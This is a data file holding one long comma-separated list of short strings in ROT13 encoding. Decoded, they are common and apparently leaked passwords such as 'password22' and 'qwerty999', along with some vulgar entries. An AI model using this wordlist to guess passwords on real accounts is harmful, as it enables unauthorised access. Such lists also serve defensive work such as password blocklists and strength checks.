xa5pps,fcnegna11,oeraqn69,wnpxvrpu,nontnvy,ebova2,tenff1,naql76,oryy1,gnvfba,fhcrezr,ivxn1995,kge451,serq20,89032073168,qravf1984,2000wrrc,jrrgnovk,199020,qnkgre,grivba,cnagure8,u9vlzkzp,ovtevt,xnynzohe,gfnyntv,12213443,enprpne02,wrsserl4,angnkn,ovtfnz,chetngbe,nphenpy,gebhgohz,cbgfzbxr,wvzzlm,znahgq1,algvzrf,cherrivy,orneff,pbby22,qentbantr,abqaneo,qoeolh,4frnfbaf,serhqr,ryevp1,jrehyr,ubpxrl14,12758698,pbexvr,lrnuevtug,oynqrzna,gnsxnc,pynir,yvmvxb,ubsare,wrssuneql,ahevpu,ehaar,fgnavfyn,yhpl1,zbax3l,sbemnebzn,revp99,obanver,oynpxjbb,sratfuhv,1dnm0bxz,arjzbarl,cvzcva69,07078,nabalzre,yncgbc1,pureel12,npr111,fnyfn1,jvyohe1,qbbz12,qvnoyb23,wtgkmoue,haqre1,ubaqn01,oernqsna,zrtna2,whnapneybf,fgenghf1,npxone,ybir5683,uncclgvz,ynzoreg1,poywuglew,xbznebi,fcnz69,asugxes,oebjaa,fnezng,vsvxfe,fcvxr69,ubnatra,natrym,rpbabzvn,gnamra,nibtnqeb,1inzcver,fcnaaref,znmqnek,dhrrdhrt,bevnan,urefuvy,fhynpb,wbfrcu11,8frpbaqf,ndhnevh,phzoreyn,urngure9,nagubal8,ohegba12,pelfgny0,znevn3,dnmjfkp,fabj123,abgtbbq,198520,envaqbt,urrunj,pbafhygn,qnfrva,zvyyre01,pguhyuh1,qhxrahxr,vhover,onlgbja,ungroerr,198505,fvfgrz,yran12,jrypbzr01,znenpn,zvqqyrgb,fvaquh,zvgfbh,cubravk5,ibina,qbanyqb,qlynaqbt,qbzbibl,ynhera12,olewhloaw,123yyyy,fgvyyref,fnapuva,ghycna,fznyyivyy,1zzzzz,cnggv1,sbytref,zvxr31,pbygf18,123456eee,awxzewm,cubravk0,ovrar,vebapvgl,xnfcrebx,cnffjbeq22,svgarf,znggurj6,fcbgyvtu,ohwuz123,gbzzlpng,unmry5,thvgne11,145678,ispzes,pbzcnff1,jvyyrr,1onearl,wnpx2000,yvggyrzvatr,furzc,qreerx,kkk12345,yvggyrshpx,fchqf1,xnebyvaxn,pnzarryl,djreglh123,142500,oenaqba00,zhafba15,snypba3,cnffffnc,m3pa2rei,tbnurnq,onttvb10,141592,qranyv1,37xnmbb,pbcreavp,123456789nfq,benatr88,oeninqn,ehfu211,197700,cnoyb123,hcgurnff,fnzfnz1,qrzbzna,zngglynq10,urlqhqr,zvfgre2,jrexra,13467985,znenagm,n22222,s1s2s3s4,sz12za12,trenfvzbin,oheevgb1,fbal1,tyraal,onyqrntyr,ezsvqq,srabzra,ireongv,sbetrgzr,5ryrzrag,jre138,punary1,bbvph812,10293847dc,zvavpbbcre,puvfcn,zlghea,qrvfry,igueruod,oberqobv4h,svyngbin,nanor,cbvhlg1,oneznyrv,llll1,sbhexvqf,anhzraxb,onatoebf,cbeapyho,bxnlxx,rhpyvq90,jneevbe3,xbearg,cnyrib,cngngvan,tbpneg,nagnagn,wrq1054,pybpx1,111111j,qrjnef,znaxvaq1,crhtrbg406,yvgra,gnuven,ubjyva,anhzbi,ezenpvat,pbebar,phagubyr,cnffvg,ebpx69,wnthnekw,ohzfra,197101,fjrrg2,197010,juvgrpng,fnjnqrr,zbarl100,lsuewaoeo,naqlobl,9085603566,genpr1,snttrg,ebobg1,natry20,6lua7hwz,fcrpvnyvafgn,xnerran,arjoybbq,puvatnqn,obbovrf2,ohttre1,fdhnq51,133naqer,pnyy06,nfurf1,vybiryhpl,fhpprff2,xbggba,pninyyn,cuvybh,qrrorr,guronaq,avar09,negrsnpg,196100,xxxxxxx1,avxbynl9,barybi,onfvn,rzvylnaa,fnqzna,sxewhwxoe,grnzbzhpu,qnivq777,cnqevab,zbarl21,sveqnhf,bevba3,puril01,nyongeb,reqspi,2yrtvg,fnenu7,gbebpx,xrivaa,ubyvb,fbybl,raeba714,fgnesyrrg,djre11,arirezna,qbpgbeju,yhpl11,qvab12,gevavgl7,frngyrba,b123456,cvzczna,1nfqstu,fanxrovg,punapub,cebebx,oyrnpure,enzver,qnexfrrq,jneubefr,zvpunry123,1fcnaxl,1ubgqbt,34reqspi,a0gu1at,qvznapur,ercziols,zvpunrywnpxfba,ybtva1,vprdhrra,gbfuveb,fcrezr,enpre2,irtrg,oveguqnl26,qnavry9,yoirxzes,puneyhf,oelna123,jfcnavp,fpuervor,1naqbayl,qtbvaf,xrjryy,ncbyyb12,rtlcg1,sreavr,gvtre21,nn123456789,oybjw,fcnaqnh,ovfdhvg,12345678q,qrnqznh5,serqvr,311420,uncclsnpr,fnznag,tehccn,svyzfgne,naqerj17,onxrfnyr,frkl01,whfgybbx,ponexyrl,cnhy11,oybbqerq,evqrzr,oveqongu,asxopisl,wnkfba,fvevhf1,xevfgbs,ivetbf,avzebq1,uneqp0er,xvyyreorr,1nopqrs,cvgpure1,whfgbapr,iynqn,qnxbgn99,irfchppv,jcnff,bhgfvqr1,chregbev,esioxs,grnzybfv,itsha2,cbeby777,rzcver11,20091989d,wnfbat,jrohvinyvqng,rfpevzn,ynxref08,gevttre2,nqqcnff,342500,zbatvav,qsugloe,ubeaqbtt,cnyrezb1,136900,onoloyh,nyyn98,qnfun2010,wxryyl,xreabj,lsarpm,ebpxubccre,gbrzna,gynybp,fvyire77,qnir01,xrivae,1234567887654321,135642,zr2lbh,8096468644d,erzzhf,fcvqre7,wnzrfn,wvyyl,fnzon1,qebatb,770129wv,fhcrepng,whagnf,grzn1234,rfgur,1234567892000,qerj11,dnmdnm123,orrtrrf,oybzr,enggenpr,ubjuvtu,gnyyobl,ehshf2,fhaal2,fbh812,zvyyre12,vaqvnan7,veaoeh,cngpu123,yrgzrba,jrypbzr5,anovfpb,9ubgcbva,ucigro,ybivavg,fgbezva,nffzbaxr,gevyy,ngynagv,zbarl1234,phofsna,zryyb1,fgnef2,hrcgxz,ntngr,qnaalz88,ybire123,jbeqm,jbeyqarg,whyrznaq,punfre1,f12345678,cvffjbeq,pvarznk,jbbqpuhp,cbvag1,ubgpuxvf,cnpxref2,onananan,xnyraqre,420666,crathva8,njb8ek3jn8g,ubccvr,zrgyvsr,vybirzlsnzvyl,jrvuanpugfonh,chqqvat1,yhpxlfge,fphyyl1,sngobl1,nzvmnqr,qrqunz,wnuoyrff,oynng,fheeraqr,****re,1cnagvrf,ovtnffrf,tuwhusiopa,nffubyr123,qsxgleo,yvxrzr,avpxref,cynfgvx,urxgbe,qrrzna,zhpunpun,preroeb,fnagnan5,grfgqevir,qenphyn1,pnanyp,y1750fd,fninaanu1,zheran,1vafvqr,cbxrzba00,1vvvvvvv,wbeqna20,frkhny1,znvyyvj,pnyvcfb,014702580369,1mmmmmm,1wwwwww,oernx1,15253545,lbznzn1,xngvaxn,xriva11,1ssssss,znegvwa,ffynmvb,qnavry5,cbeab2,abfznf,yrbyvba,wfpevcg,15975312,chaqnv,xryyv1,xxxqqq,bonstxz,zneznevf,yvyznzn,ybaqba123,esusag,rytbeqb,gnyx87,qnavry7,gurfvzf3,444111,ovfuxrx,nsevxn2002,gbol22,1fcrrql,qnvfuv,2puvyqera,nsebzna,ddddjjjj,byqfxbby,unjnv,i55555,flaqvpng,chxvznx,snangvx,gvtre5,cnexre01,oev5xri6,gvzrkk,jnegohet,ybir55,rpbffr,lryran03,znqvavan,uvtujnl1,husqojsts,xnehan,ohuwislom,jnyyvr,46naq2,xunyvs,rhebc,dnm123jfk456,oboolobo,jbysbar,snyybhgobl,znaavat18,fphon10,fpuahss,vungrlbh1,yvaqnz,fnen123,cbcpbe,snyyratha,qvivar1,zbagoynap,djregl8,ebbarl10,ebnqentr,oregvr1,yngvahf,yrkhfvf,eusisawupe,bcrytg,uvgzr,ntngxn,1lnznun,qzskuxwh,vznybfre,zvpuryy1,fo211fg,fvyire22,ybpxrqhc,naqerj9,zbavpn01,fnfflpng,qfbojvpx,gvaebbs,pgeugalw,ohygnpb,eusplwmupe,nnnnffff,14ff88,wbnaar1,zbznaqqnq,nuwxwqs,lryufn,mvcqevir,gryrfpbc,500600,1frkfrk,snpvny1,zbgneb,511647,fgbare1,grzhwva,ryrcunag1,terngzna,ubarl69,xbpvnx,hxdzjuw6,nygrmmn,phzdhng,mvccbf,xbagvxv,123znk,nygrp1,ovovtba,gbagbf,dnmfrj,abcnfnena,zvyvgne,fhcengg,btynyn,xbonlnfu,ntngur,lnjrgnt,qbtf1,psvrxzes,zrtna123,wnzrfqrn,cbebfrabx,gvtre23,oretre1,uryyb11,frrznaa,fghaare1,jnyxre2,vzvffh,wnonev,zvasq,ybyyby12,uwisl,1-bpg,fgwbuaf,2278124d,123456789djre,nyrk1983,tybjjbez,puvpub,znyyneqf,oyhrqrivy,rkcybere1,543211,pnfvgn,1gvzr,ynpurfvf,nyrk1982,nveobea1,qhorfbe,punatn,yvmmvr1,pncgnvax,fbpbby,ovqhyr,znepu23,1861oee,x.ywkes,jngpubhg,sbgmr,1oevna,xrxfn2,nnnn1122,zngevz,cebivqvna,cevinqb,qernzr,zreel1,nertqbar,qnivqg,abhabhe,gjragl2,cynl2jva,negpnfg2,mbagvx,552255,fuvg1,fyhttl,552861,qe8350,oebbmr,nycun69,guhaqre6,xnzryvn2011,pnyro123,zzkkzz,wnzrfu,ysloxwq,125267,125000,124536,oyvff1,qqqfff,vaqbarfv,obo69,123888,gtxokstl,trene,gurznpx,uvwbqrchgn,tbbq4abj,qqq123,pyx430,xnynfu,gbyxvra1,132sberire,oynpxo,jungvf,f1f2f3f4,ybyxva09,lnznune,48a25epp,qwgvrfgb,111222333444555,ovtohyy,oynqr55,pbbyoerr,xryfr,vpujvyy,lnznun12,fnxvp,ororgb,xngbbz,qbaxr,fnune,jnuvar,645202,tbq666,oreav,fgnejbbq,whar15,fbabvb,gvzr123,yyorna,qrnqfbhy,ynmneri,pqgas,xflhfun,znqnepubq,grpuavx,wnzrfl,4fcrrq,grabefnk,yrtfubj,lbfuv1,puevfoy,44r3roqn,gensnytn,urngure7,frensvzn,snibevgr4,unirsha1,jbyir,55555e,wnzrf13,abferqan,obqrna,wyrggvre,obeenpub,zvpxnry,znevahf,oehgh,fjrrg666,xvobet,ebyyebpx,wnpxfba6,znpebff1,bhfbbare,9085084232,gnxrzr,123djnfmk,sverqrcg,isesuwq,wnpxsebf,123456789000,oevnar,pbbxvr11,onol22,obool18,tebzbin,flfgrzbsnqbja,znegva01,fvyire01,cvznbh,qneguznhy,uvwvak,pbzzb,purpu,fxlzna,fhafr,2ieq6,iynqvzvebian,hguislom,avpbyr01,xerxre,obob1,i123456789,rekgto,zrrgbb,qenxpnc,isis12,zvfvrx1,ohgnar,argjbex2,sylref99,evbtenaq,wraalx,r12345,fcvaar,ninyba11,ybirwbar,fghqra,znvag,cbefpur2,djregl100,punzorey,oyhrqbt1,fhatnz,whfg4h,naqerj23,fhzzre22,yhqvp,zhfvpybire,nthvy,orneqbt1,yvoregva,cvccb1,wbfryvg,cngvgb,ovtoregu,qvtyre,flqarr,wbpxfgen,cbbcb,wnf4na,anfgln123,cebsvy,shrffr,qrsnhyg1,gvgna2,zraqbm,xcpbstf,nanzvxn,oevyyb021,obzorezna,thvgne69,yngpuvat,69chffl,oyhrf2,curytr,avawn123,z7a56kb,djregnfq,nyrk1976,phaavatu,rfgeryn,tynqonpu,znevyyvba,zvxr2000,258046,olcbc,zhssvazna,xq5396o,mrenghy,qwxkojs,wbua77,fvtzn2,1yvaqn,fryhe,erccrc,dhnegm1,grra1,serrpyhf,fcbbx1,xhqbf4rire,pyvgevat,frkvarff,oyhzcxva,znpobbx,gvyrzna,pragen,rfpnsybjar,cragnoyr,funag,tenccn,mireri,1nyoreg,ybzzrefr,pbssrr11,777123,cbyxvyb,zhccrg1,nyrk74,yxwutsqfnmk,byrfvpn,ncevy14,on25547,fbhguf,wnfzv,nenfuv,fzvyr2,2401crqeb,zlonor,nyrk111,dhvagnva,cvzc1,gqrve8o2,znxraan,122333444455555,%r2%82%np,gbbgfvr1,cnff111,mndkfj123,txsqslog,pasaopaoes,hfreznar,vybirlbh12,uneq69,bfnfhan,svertbq,neivaq,onobpuxn,xvff123,pbbxvr123,whyvr123,xnznxnmv,qlyna2,223355,gnathl,aougdn,gvttre13,ghool1,znxniry,nfqsyxw,fnzob1,zbababxr,zvpxrlf,tnlthl,jva123,terra33,jpeskgitowl,ovtfznyy,1arjyvsr,pybir,onolsnp,ovtjnirf,znzn1970,fubpxjni,1sevqnl,onffrl,lneqqbt,pbqrerq1,ivpgbel7,ovtevpx,xenpxre,thysfger,puevf200,fhaonaan,oreghmmv,ortrzbgvx,xhbyrzn,cbaqhf,qrfgvarr,123456789mm,novbqha,sybcfl,nznqrhfcgspbe,trebavz,lttqenfv,pbagrk,qnavry6,fhpx1,nqbavf1,zbbern,ry345612,s22encgbe,zbivrohs,enhapul,6043qxs,mkpioaz123456789,revp11,qrnqzbva,engvht,abfyvj,snaavrf,qnaab,888889,oynax1,zvxrl2,thyyvg,gube99,znzvln,byyvro,gubgu,qnttre1,jrofbyhgvbaffh,obaxre,cevir,1346798520,03038,d1234d,zbzzl2,pbagnk,muvcb,tjraqbyv,tbguvp1,1234562000,ybirqvpx,tvofb,qvtvgny2,fcnpr199,o26354,987654123,tbyvir,frevbhf1,cvixbb,orggre1,824358553,794613258,angn1980,ybtbhg,svfucbaq,ohggff,fdhvqyl,tbbq4zr,erqfbk19,wubaal,mfr45eqk,zngevkkk,ubarl12,enzvan,213546879,zbgmneg,snyy99,arjfcncr,xvyyvg,tvzcl,cubgbjvm,byrfwn,gurohf,znepb123,147852963,orqoht,147369258,uryyobhaq,twtwkes,123987456,ybiruheg,svir55,unzzre01,1234554321n,nyvan2011,crccvab,nat238,dhrfgbe,112358132,nyvan1994,nyvan1998,zbarl77,obowbarf,nvtrevz,perffvqn,znqnyran,420fzbxr,gvapunve,enira13,zbbfre,znhevp,ybiroh,nqvqnf69,xelcgba1,1111112,ybiryvar,qviva,ibfubq,zvpunryz,pbpbggr,toxohuoi,76689295,xryylw,eubaqn1,fjrrgh70,fgrnzsbehzf,trrdhr,abgurer,124p41,dhvkbgvp,fgrnz181,1169900,esptgupeod,esioxz,frkfghss,1231230,qwpgiz,ebpxfgne1,shyunzsp,ourpoe,esagls,dhvxfvyi,56836803,wrqvznfgre,cnatvg,tsuwxz777,gbpbby,1237654,fgryyn12,55378008,19216811,cbggr,sraqre12,zbegnyxbzong,onyy1,ahqrtvey,cnynpr22,enggenc,qrorref,yvpxchffl,wvzzl6,abg4h2p,jreg12,ovtwhttf,fnqbznfb,1357924,312znf,ynfre123,nezvavn,oenasbeq,pbnfgvr,zezbwb,19801982,fpbgg11,onanna123,vaterf,300mkgg,ubbgref6,fjrrgvrf,19821983,19831985,19833891,fvaasrva,jrypbzr4,jvaare69,xvyyrezna,gnpulba,gvter1,alzrgf1,xnatby,znegvarg,fbbgl1,19921993,789djr,unefvatu,1597535,gurpbhag,cunagbz3,36985214,yhxnf123,117711,cnxvfgna1,znqznk11,jvyybj01,19932916,shpxre12,syuepv,bcryntvyn,gurjbeq,nfuyrl24,gvttre3,penmlw,encvqr,qrnqsvfu,nyynan,31359092,fnfun1993,fnaqref2,qvfpzna,mnd!2jfk,obvyrezn,zvpxrl69,wnzrft,onolob,wnpxfba9,bevba7,nyvan2010,vaqvra,oerrmr1,ngrnfr,jnefcvgr,onmbatnm,1prygvp,nfthneq,zltny,svgmtren,1frperg,qhxr33,plxybar,qvcnfphp,cbgncbi,1rfpbone2,p0y0enq0,xxv177ux,1yvggyr,znpbaqb,ivpgbevln,crgre7,erq666,jvafgba6,xy?oraunia,zharpn,wnpxzr,wraana,uncclyvsr,nz4u39q8au,obqlohvy,201980,qhgpuvr,ovttnzr,yncb4xn,enhpura,oynpx10,syndhvg,jngre12,31021364,pbzznaq2,ynvagu88,znmqnzk5,glcuba,pbyva123,epsuysp,djnfmk11,t0njnl,enzve,qvrfvenr,unpxrq1,prffan1,jbbqsvfu,ravtzn2,cdae67j5,bqtrm8w3,tevfbh,uvurryf,5tgtvnkz,2580258,bubgavx,genafvgf,dhnpxref,frewvx,znxramvr,zqztngrj,oelnan,fhcrezna12,zryyl,ybxvg,gurtbq,fyvpxbar,sha4nyy,argcnff,craubefr,1pbbcre,aflap,nfqnfq22,bgurefvqr,ubarlqbt,ureovr1,puvcuv,cebtubhfr,y0aq0a,funtt,fryrpg1,sebfg1996,pnfcre123,pbhage,zntvpung,terngmlb,wlbguv,3ornef,gursyl,avxxvgn,stwpawx,avgebf,ubealf,fna123,yvtugfcr,znfybin,xvzore1,arjlbex2,fcnzzz,zvxrwbar,chzcx1a,oehvfre1,onpbaf,ceryhqr9,obbqvr,qentba4,xraargu2,ybir98,cbjre5,lbqhqr,chzon,guvayvar,oyhr30,frkklow,2qhzo2yvir,zngg21,sbefnyr,1pnebyva,vaabin,vyvxrcbea,eotgxwq,n1f2q3s,jh9942,ehsshf,oynpxobb,djregl999,qenpb1,znepryva,uvqrxv,traqnys,geriba,fnenun,pnegzra,lwuoxzpe,gvzr2tb,snapyho,ynqqre1,puvaav,6942987,havgrq99,yvaqnp,dhnqen,cnbyvg,znvafger,ornab002,yvapbya7,oryyraq,nabzvr,8520456,onatnybe,tbbqfghss,pureabi,fgrcnfuxn,thyyn,zvxr007,senffr,uneyrl03,bzavfynfu,8538622,znelwna,fnfun2011,tvarbx,8807031,ubeavre,tbcvangu,cevaprfvg,oqe529,tbqbja,obffynql,unxnbar,1djr2,znqzna1,wbfuhn11,ybirtnzr,onlnzba,wrqv01,fghcvq12,fcbeg123,nnn666,gbal44,pbyyrpg1,puneyvrz,puvznven,pk18xn,geevz777,puhpxq,gurqernz,erqfbk99,tbbqzbeavat,qrygn88,vybirlbh11,arjyvsr2,svtinz,puvpntb3,wnfbax,12djre,9875321,yrfgng1,fngpbz,pbaqvgvb,pncev50,fnlnxn,9933162,gehaxf1,puvatn,fabbpu,nyrknaq1,svaqhf,cbrxvr,psqols,xrivaq,zvxr1969,sver13,yrsgvr,ovtghan,puvaah,fvyrapr1,prybf1,oynpxqen,nyrk24,tstsvs,2obbof,unccl8,rabyntnl,fngnavi1993,gheare1,qlynaf,crhtrb,fnfun1994,ubccry,pbaab,zbbafubg,fnagn234,zrvfgre1,008800,unanxb,gerr123,djrenf,tsvglzes,erttvr31,nhthfg29,fhcreg,wbfuhn10,nxnqrzvn,toywusp,mbeeb123,angunyvn,erqfbk12,uscqwy,zvfuznfu,abxvnr51,allnaxrrf,gh190022,fgebatob,abar1,abg4h2ab,xngvr2,cbcneg,uneyrdhv,fnagna,zvpuny1,1gurebpx,fperjh,pflrxzes,byrzvff1,glerfr,ubbcyr,fhafuva1,phpvan,fgneonfr,gbcfurys,sbfgrk,pnyvsbeavn1,pnfgyr1,flznagrp,cvccbyb,ononer,gheagnoy,1natryn,zbb123,vcigro,tbtbys,nyrk88,plpyr1,znkvr1,cunfr2,fryuhefg,sheavghe,fnzsbk,sebzirezvar,fund34,tngbef96,pncgnva2,qrybatr,gbzngbr,ovfbhf,mkpioazn,tynpvhf,cvarnccyr1,pnaaryyr,tnavony,zxb09vwa,cnenxynfg1974,uboorf12,crggl43,negrzn,whavbe8,zlybire,1234567890q,sngny1gl,cebfgerrg,crehna,10020,anqln,pnhgvba1,znebpnf,punary5,fhzzre08,zrgny123,111ybk,fpencl,gungthl,rqqvr666,jnfuvatgb,lnaavf,zvaarfbgn_uc,yhpxl4,cynlobl6,anhzbin,nmmheeb,cngng,qnyr33,cn55jq,fcrrqfgre,mrznabin,fnenug,arjgb,gbal22,dfprfm,nexnql,1byvire,qrngu6,ixsjk046,nagvsynt,fgnatf,wms7ds2r,oevnac,sbmml,pbql123,fgnegerx1,lbqn123,zhepvryn,genonwb,yioauogqs,pnanevb,syvcre,nqebvg,urael5,tbqhpxf,cncvehf,nyfxqw,fbppre6,88zvxr,tbtrggre,gnarybea,qbaxvat,znexl1,yrrqfh,onqzbsb,ny1916,jrgqbt,nxzneny,cnyyrg,ncevy24,xvyyre00,arfgrebin,ehtol123,pbssrr12,oebjfrhv,enyyvneg,cnvtbj,pnytnel1,nezlzna,igyqgygq,sebqb2,sekgto,vnzovtny,oraab,wnlgrr,2ubg4lbh,nfxne,ovtgrr,oeragjbb,cnyynqva,rqqvr2,ny1916j,ubebfub,ragenqn,vybirgvgf,iragher1,qentba19,wnlqr,puhinx,wnzrfy,sme600,oenaqba8,iwdiou,fabjony,fangpu1,ot6awbxs,chqqre,xnebyva,pnaqbb,cshsyes,fngpury1,znagrpn,xubatovrg,pevggre1,cnegevqt,fxlpynq,ovtqba,tvatre69,oenir1,nagubal4,fcvaanxr,puvanqby,cnffbhg,pbpuvab,avccyrf1,15058,ybcrfx,fvksyntf,yybb999,cnexurnq,oernxqnapr,pvn123,svqbqvqb,lhvger12,sbbrl,negrz1995,tnlnguev,zrqva,abaqevirefvt,y12345,oenib7,unccl13,xnmhln,pnzfgre,nyrk1998,yhpxll,mvcpbqr,qvmmyr,obngvat1,bchfbar,arjcnffj,zbivrf23,xnzvxnmv,mncngb,oneg316,pbjoblf0,pbefnve1,xvatfuvg,ubgqbt12,ebylng,u200fiez,djregl4,obbsre,euglygxz,puevf999,inm21074,fvzsrebcby,cvgobff,ybir3,oevgnavn,gnalfuxn,oenhfr,123djregl123,norvyyr,zbfpbj1,vyxnri,znahg,cebprff1,vargpst,qentba05,sbegxabk,pnfgvyy,elaare,zezvxr,xbnynf,wrrohf,fgbpxcbe,ybatzna,whnacnoy,pnvzna,ebyrcynl,wrerzv,26058,cebqbwb,002200,zntvpny1,oynpx5,oiytnev,qbbtvr1,pougdn,znuvan,n1f2q3s4t5u6,woyceb,hfzp01,ovfzvynu,thvgne01,ncevy9,fnagnan1,1234nn,zbaxrl14,fbebxva,rina1,qbbuna,navznyfrk,csdkglwe,qvzvgel,pngpuzr,puryyb,fvyirepu,tybpx45,qbtyrt,yvgrfcrr,aveinan9,crlgba18,nylqne,jneunzre,vyhizr,fvt229,zvabgnie,ybomvx,wnpx23,ohfujnpx,bayva,sbbgonyy123,wbfuhn5,srqrebi,jvagre2,ovtznk,shsaseuopao,uscyqsauo,1qnxbgn,s56307,puvczbax,4avpx8,cenyvar,iouwu123,xvat11,22gnatb,trzvav12,fgerrg1,77879,qbbqyroh,ubzlnx,165432,puhyhguh,gevkv,xneyvgb,fnybz,ervfra,pqgaxmkwe,cbbxvr11,gerzraqb,funmnnz,jrypbzr0,00000gl,crrjrr51,cvmmyr,tvyrnq,olqnaq,fneine,hcfxveg,yrtraqf1,serrjnl1,grrashpx,enatre9,qnexsver,qslzes,uhag0802,whfgzr1,ohssl1zn,1uneel,671sfn75lg,oheesbbg,ohqfgre,cn437gh,wvzzlc,nyvan2006,znynpba,puneyvmr,ryjnl1,serr12,fhzzre02,tnqvan,znanen,tbzre1,1pnffvr,fnawn,xvfhyln,zbarl3,chwbyf,sbeq50,zvqvynaq,ghetn,benatr6,qrzrgevh,sernxobl,bebfvr1,enqvb123,bcra12,ishscol,zhfgrx,puevf33,navzrf,zrvyvat,agugiwe,wnfzvar9,tsqxwq,byvtneu,znevzne,puvpntb9,.xmves,ohtfftho,fnzhenvk,wnpxvr01,cvzcwhvp,znpqnq,pntvin,ireabfg,jvyylobl,slawlwqs,gnool1,cevirg123,gbeerf9,erglcr,oyhrebbz,enira11,d12jr3,nyrk1989,oevatvgba,evqrerq,xnerygwr,bj8wgpf8g,pvppvn,tbavaref,pbhagelo,24688642,pbivatgb,24861793,orloynqr,ivxva,onqoblm,jynsvtn,jnyfgvo,zvenaq,arrqnwbo,puybrf,onyngba,xocsqgas,serlwn,obaq9007,tnoevry12,fgbezoev,ubyyntr,ybir4rir,srabzrab,qnexavgr,qentfgne,xlyr123,zvysuhagre,zn123123123,fnzvn,tuvfynva,raevdhr1,srevra12,kwl6721,angnyvr2,ertyvffr,jvyfba2,jrfxre,ebfrohq7,nznmba1,eborege,eblxrnar,kgpagu,znzngngn,penmlp,zvxvr,fninanu,oybjwbo69,wnpxvr2,sbegl1,1pbssrr,suolwkes,ohoonu,tbgrnz,unpxrqvg,evfxl1,ybtbss,u397caie,ohpx13,eboreg23,oebap,fg123fg,tbqsyrfu,cbeabt,vnzxvat,pvfpb69,frcgvrzoe,qnyr38,mubatthb,gvoone,cnagure9,ohssn1,ovtwbua1,zlchccl,iruislpe,ncevy16,fuvccb,sver1234,terra15,d123123,thatnqva,fgrirt,byvivre1,puvanfxv,zntabyv,snvgul,fgbez12,gbnqsebt,cnhy99,78791,nhthfg20,nhgbzngv,fdhvegyr,purrml,cbfvgnab,oheoba,ahaln,yyrocznp,xvzzv,ghegyr2,nyna123,cebxhebe,ivbyva1,qherk,chffltny,ivfvbane,gevpx1,puvpxra6,29024,cybjobl,esloerxf,vzohr,fnfun13,jntare1,ivgnybtl,pslzes,gurceb,26028,tbeohabi,qiqpbz,yrgzrva5,qhqre,snfgsha,cebava,yvoen1,pbaare1,uneyrl20,fgvaxre1,20068,20038,nzvgrpu,flbhat,qhtjnl,18068,jrypbzr7,wvzzlcnt,nanfgnpv,xnsxn1,csusarpaus,pngfff,pnzchf100,funzny,anpub1,sver12,ivxvatf2,oenfvy1,enatrebire,zbunzzn,crerfirg,14058,pbpbzb,nyvban,14038,djnfre,ivxrf,poxzqs,fxloyhr1,bh81234,tbbqybir,qsxzygisu,108888,ebnzre,cvaxl2,fgngvp1,mkpi4321,onezra,ebpx22,furyol2,zbetnaf,1whavbe,cnfjbeq1,ybtwnz,svsgl5,auseawuopa,punqql,cuvyyv,arzrfvf2,vatravre,qwxewq,enatre3,nvxzna8,xabgurnq,qnqql69,ybir007,iflguo,sbeq350,gvtre00,eraehg,bjra11,raretl12,znepu14,nyran123,eboreg19,pnevfzn,benatr22,zhecul11,cbqnebx,cebmnx,xstrves,jbys13,ylqvn1,funmmn,cnenfun,nxvzbi,gboovr,cvybgr,urngure4,onfgre,yrbarf,tmaskwe,zrtnzn,987654321t,ohyytbq,obkfgre1,zvaxrl,jbzongf,iretvy,pbyrtvngn,yvapby,fzbbgur,cevqr1,pnejnfu1,yngeryy,objyvat3,slyugd123,cvpxjvpx,rvqre,ohooyrobk,ohaavrf1,ybdhvg,fyvccre1,ahgfnp,chevan,kghgqsus,cybxvwh,1dnmkf,huwclfd,mkpionfqst,rawbl1,1chzcxva,cunagbz7,znzn22,fjbeqfzn,jbaqreoe,qbtqnlf,zvyxre,h23456,fvyina,qsxguoe,fyntryfr,lrnuzna,gjbguerr,obfgba11,jbys100,qnaalt,gebyy1,slawl123,tuopasq,osgrfg,onyyfqrrc,oboolbee,nycunfvt,pppqrzb,sver123,abejrfg,pynver2,nhthfg10,ygu1108,ceboyrznf,fncvgb,nyrk06,1ehfgl,znppbz,tbvevfu1,bulrf,okqhzo,anovyn,obborne1,enoovg69,cevapvc,nyrkfnaqre,geninvy,punagny1,qbtttl,terracrn,qvnoyb69,nyrk2009,oretra09,crggvpbn,pynffr,prvyvqu,iynq2011,xnznxvev,yhpvqvgl,dnm321,puvyrab,prksus,99enatre,zpvgen,rfgbccry,ibyibf60,pnegre80,jrocnff,grzc12,gbhnert,sptouol,ohoon8,fhavgun,200190eh,ovgpu2,funqbj23,vyhivg,avpbyr0,ehora1,avxxv69,ohgggg,fubpxre1,fbhfpurs,ybcbgbx01,xnagbg,pbefnab,psasls,evireng,znxnyh,fjncan,nyy4h9,pqgaxsl,agxgtrcoe,ebanyqb99,gubznfw,ozj540v,puevfj,obbzon,bcra321,m1k2p3i4o5a6z7,tnivbgn,vprzna44,sebfln,puevf100,puevf24,pbfrggr,pyrnejng,zvpnry,obbtlzna,chffl9,pnzhf1,puhzcl,urppeod,xbabcyln,purfgre8,fpbbgre5,tuwtshslys,tvbggb,xbbyxng,mreb000,obavgn1,pxsyeod,w1964,znaqbt,18a28a24n,erabo,urnq1,furetne,evatb123,gnavgn,frk4serr,wbuaal12,unyoreq,erqqrivyf,ovbybt,qvyyvatr,sngo0l,p00cre,ulcreyvg,jnyynpr2,fcrnef1,ivgnzvar,ohurves,fybobqn,nyxnfu,zbbzna,znevba1,nefrany7,fhaqre,abxvn5610,rqvsvre,cvccbar,slsawxzgqok,shwvzb,crcfv12,xhyvxbin,obyng,qhrggb,qnvzba,znqqbt01,gvzbfuxn,rmzbarl,qrfqrzba,purfgref,nvqra,uhthrf,cngevpx5,nvxzna08,eboreg4,ebravpx,alenatre,jevgre1,36169544,sbkzhyqre,118801,xhggre,funfunax,wnzwne,118811,119955,nfcvevan,qvaxhf,1fnvybe,anytrar,19891959,fanes,nyyvr1,penpxl,erfvcfn,45678912,xrzrebib,19841989,argjner1,nyuvzvx,19801984,avpbyr123,19761977,51501984,znynxn1,zbagryyn,crnpushm,wrgueb1,plcerff1,uraxvr,ubyqba,rfzvgu,55443322,1sevraq,dhvdhr,onaqvpbbg,fgngvfgvxn,terng123,qrngu13,hpug36,znfgre4,67899876,obofzvgu,avxxb1,we1234,uvyynel1,78978978,efgheob,ymymqspm,oybbqyhfg,funqbj00,fxntra,onzovan,lhzzvrf,88887777,91328378,znggurj4,vgqbrf,98256518,102938475,nyvan2002,123123789,shonerq,qnaalf,123456321,avxvsbe,fhpx69,arjzrkvpb,fphonzna,euopao,svsasl,chssqnqq,159357852,qgurlkoe,gurzna22,212009164,cebube,fuveyr,awv90bxz,arjzrqvn,tbbfr5,ebzn1995,yrgffrr,vprzna11,nxfnan,jverahg,cvzcqnql,1212312121,gnzcyvre,cryvpna1,qbzbqrqbib,1928374655,svpgvba6,qhpxcbaq,loerpm,gujnpx,bargjb34,thafzvgu,